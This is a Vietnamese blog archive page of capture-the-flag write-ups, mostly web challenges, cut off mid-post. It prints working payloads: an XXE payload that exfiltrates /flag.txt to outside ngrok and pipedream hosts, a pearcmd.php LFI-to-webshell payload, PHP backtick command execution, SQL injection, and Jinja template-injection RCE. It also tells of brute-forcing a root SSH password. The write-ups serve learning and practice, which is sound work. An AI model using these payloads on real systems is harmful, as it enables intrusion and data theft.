Bài đăng

Đang hiển thị bài đăng từ Tháng 5, 2023
Hình ảnh
 Hế lô ae, lại là mình đây. Nay mình nổi hưng chs sql injection nên lụm đại bài trên cookie arena. Đề bài của mình đây  Nghe đề bài có vẻ là không sài like được :v nó có cho source, hãy đọc một chút thứ đầu tiên mình thấy là nó limit time :D đùa chút thôi nó nhận input qua biến tham số lastname :c Dường như là parameterized query nên sẽ khó khăn hơn đôi chút, % đã bị filter tránh việc mình check flag kiểu CHH_abc% Mình research một chút và thấy _ có thể sử dụng kèm vs like :v cụ thể như sau. Mình sẽ mượn tạm lastname ông Eliot để demo,  khi mình nhập đầy đủ Eliot thì sẽ như thế này trong sql có hỗ trợ dấu _ đại diện cho 1 kí tự, tui tự hỏi nếu là E____ thì nó sẽ work hay không. Haha, mỗi dấu _ sẽ đại diện cho 1 kí tự ->E____=Eliot bây giờ brute-force dấu _ để lấy flag thôi  nice đúng ko :DD
Hình ảnh
Tôi nghĩ đây là bài luyện tập đầu tiên cho nền tảng mới mà tôi tham gia :D Rất dễ, nó giống như hackthebox và tryhackme nhưng với mức độ này thì không thể làm khó được tôi Tôi sẽ không bàn về chuyện setup máy ảo, mn có thể tự mình giải quyết :. Bắt đầu bằng việc thu thập thông tin :D scan port trước  Có thể thấy port 80 chạy dịch vụ http và port 22 chạy dịch vụ ssh đang mở :D chúng ta sẽ tìm cách ssh vô UwU. Sau một hồi scan endpoint thì không khả quan mấy :v Tiếp tục đào thêm nào :D Tui bắt đầu nghĩ, nếu tui thử brute password root user xem liệu có vô được không :D Vét cạn không bao giờ làm tôi thất vọng lmao :D ta đã có password thk root rồi, bh thì ssh và xóa databases nó thôi <(''')
 Noway :/ xee2 @AbuQasem //Server <?xml version= "1.0" encoding= "UTF-8" ?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt" > <!ENTITY % ext SYSTEM "https://00ed-86-108-60-14.ngrok-free.app/m.dtd" > %ext; ]> < user > < username > z </ username > < password > &ext; </ password > </ user > //DTD <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://en0w6ukj0qarx.x.pipedream.net/?flag=%file;'>" > %eval; %exfil;
Hình ảnh
 DeadCTF và nỗi buồn đâu đó trong tôi. Hello guys, my english not good so i will writeup by my mother languages, Vietnamese :D Fisrt Im a web exploitable player and interested in all category(i bad at them) :DD Chall 1: Crush. Tôi có một đề bài như thế này, tôi muốn có crush T_T Để tôn trọng tác giả thì việc đầu tiên là mình sẽ download và đọc source code sau đó mới test logic. Thử thách được viết bằng nodejs, Có 4 endpoint và mình sẽ đi qua sơ lược từng cái. tại cái đầu tiên chả có j thú vị cả :v skip nó một endpoint /sendcrush nhận phương thứ post, có 3 param name,crush,content. Content sẽ được viết vào file lettername đã được mã hóa md5 :v Tại endpoint readflag, ta thấy có biến lettername có thể điều khiển và được truyền thẳng vô đường dẫn. Có thể nghĩ ngay đến local file inclusion :D Tại enpoint hacking, cũng nhận 3 tham số thông qua các biến hack,lettername,rename. Chúng ta hoàn toàn có thể đổi tên file. Vậy ý tưởng của tui là sẽ đổi tên file flag.txt và đọc nó thông qua readlette
Hình ảnh
 BuuCTF và PhP là những niềm đau :D Mình được cho đề bài như thế này, nói là đề bài chứ thực ra không có gì cả :))) OK, Let's gooooooo!!! Mình được cung cấp source như sau Hãy làm một bài phân tích trước nhỉ :D Đầu tiên, nó sẽ tạo 1 dir lưu file index.php. Nhận tham số từ biến action nếu là `pwn` thì in ra vị trí thư mục. Vd như sandbox/abcxyz/. Nếu là `upload` thì nó sẽ ghi nội dung thông qua biến data và ghi vào file index.php. Có 1 waf để kiểm tra input của chúng ta gadget, rce bằng php Trong hàm waf có 1 hàm check, nếu data của chúng ta vi phạm cái đoạn regex kia thì sẽ in ra hacker!!! còn không thì pass và rce được :/  Ở đây việc bypass không khó, tui sẽ chia ra làm 2 cách, do dấu ; bị bonk nên chỉ thực hiện được từng lệnh :/ Solution 1: Do php đã bị bonk, chúng ta có thể dùng cách viết ngắn gọn của php là:<?= ?> để thực hiện. Việc backtick không bị bonk khiến chúng ta dễ dàng trong việc tấn công. payload: <?= `ls -la /*`?> nhưng dấu cách đã bị lọc có thể thay thế
 BuuCTF nó chs phê vcl :v  Ban đầu t không có ý định làm seri này :/ do lười cũng như hơi lâu :v nhưng không sao chúng ta muốn nâng cao trình thì học hỏi luôn là trên hết  Một số lưu ý, khi chương trình vẫn mở mà dù file bị xóa từ bên ngoài thì trong /proc vẫn có description file đó :v
Hình ảnh
ImaginaryCTF, tôi đang dần trở nên tà đạo :v chả là mấy ctf đợt này t chơi hơi nguu nên bắt đầu tìm những cái high-level để chơi, mà nó vẫn lú :? Nay tui sẽ giải bài web tháng này của Imagynari :B Ta được cho đề bài như sau, có thể đoán được nó đang bị lỗi sqli và chúng ta sẽ cần lấy flag từ nó Nó cho sẵn code nên làm việc sẽ dễ dàng hơn :/ Chúng ta sẽ chú ý với cái select, input chúng ta sẽ bị replace dấu nháy đơn thành \\', cái điều mình thấy khó hiểu ở đây là replace thế thì chả khác gì ban đầu :/  Nói qua cũng nói lại nếu chỉ thế thì khá dễ :V Ở đây có một table user, với cột password chứa flag của admin Câu lệnh của chúng ta đơn giản chỉ là thế này  ' union select 1,username,password-- -# Rất mong chờ các ctf khác của các trường khác, chúc mọi vui vẻ T sẽ sớm đăng writeup kma khi giải xong hết :v
Hình ảnh
BuuCTF coi đường tà đạo trong tôi :V Nếu select bị chặn thì ta có thể gọi thông qua show statement show tables; show columns from table; ... https://dev.mysql.com/doc/refman/8.0/en/show-columns.html khi tên bảng là số, cách đọc sẽ là dùng backtick -> học được cái mới :3 Đó là phương pháp cơ bản để tìm cột,bảng,và cơ sở dữ liệu,... thông thường nếu nhìn theo một phương pháp ta sẽ cảm thấy rất khó khăn, nhưng nếu dần đào sâu hơn(cụ thể là đọc writeup và document, những nút thắt sẽ được cởi bỏ) Do đã bị hạn chế select cách để có thể đọc nên tui sẽ tìm cách,  Ở đâu là 3 phương pháp tui tìm đọc và đúc kết, sau này có dịp tui sẽ quay lại và học hỏi tiếp  phương pháp đầu tiên: -đổi tên cột word thành một tên bất kì -> rename không được filter -đổi cột số kia lại thành word -chèn bảng word mới vào cột id -đổi tên cột flag thành data https://blog.csdn.net/qq_26406447/article/details/90643951 https://blog.csdn.net/qq_44657899/article/details/103239145 tóm lại tôi học đựng sql đây
 Một câu hỏi được đặt ra :V tại sao mình không đăng các category khác. Đơn giản vì mình lười, một cái thôi. Với lại còn nhiều kĩ thuật cần học lắm :V hi vọng mọi người thích nó
Hình ảnh
 Mình đã học kĩ thuật mới như thế nào (từ angstromctf và tamuctf) :v  Pearcmd.php wao một file thật thú zị, nó có vẻ cho mình RCE :D cụ thể payload khi ta biết lfi ?page=/usr/local/lib/php/pearcmd.php&+config-create+/&/<?=system($_GET['cmd']);?>+/tmp/kon.php với điều kiện là  register_argc_argv  được bật, bản thân là 1 cli argument nhưng khi được bật thì sẽ nhận requests argument thay cho cli argument. zậy thôi :> cute hong Did you mean 哦
Hình ảnh
 UMDCTF đã làm mình lú như thế nào :V Đã lâu ae bọn tui không chơi với nhau, chắc tầm 3-4 giải gì đó :V Cụ thể là do t kém quá T_T  Có mấy bài đã không giải được, xin nhỗi mn nhiều lắm :/ Web1: Terps ticketing system Cứ thử login với account bất kì xem, có vẻ không có chỗ đăng kí nên tui sẽ test xem có lỗi j không Yeb, có vẻ nó cho vô luôn Để ý kĩ một chút là mọi người sẽ thấy tham số num đang nhận giá trị 617, tui tự hỏi nó có phải là IDOR không :v thử thay đổi sang 0 nào Thể là tui ăn được flag Web2: pop calc tôi tự hỏi liệu mình có khai thác được gì từ nó không. Có vẻ là một chiệc máy tính lỗi :D thử {{7*7}} và boom Lúc đầu tui cũng nghĩ nó là jinja nhưng test twig thử và bị bonk đây một lúc :> cuối cùng vẫn là jinja thôi :D rce đơn giản payload:  cycler.__init__.__globals__.os.popen('id').read() fun fact: lúc đầu tác giả set quyền root và t đã nghịch một số thứ như xóa flag :D xin lỗi người anh em. Đọc flag bình thường thôi  Web4: Homework Render Các bạn có thích bài về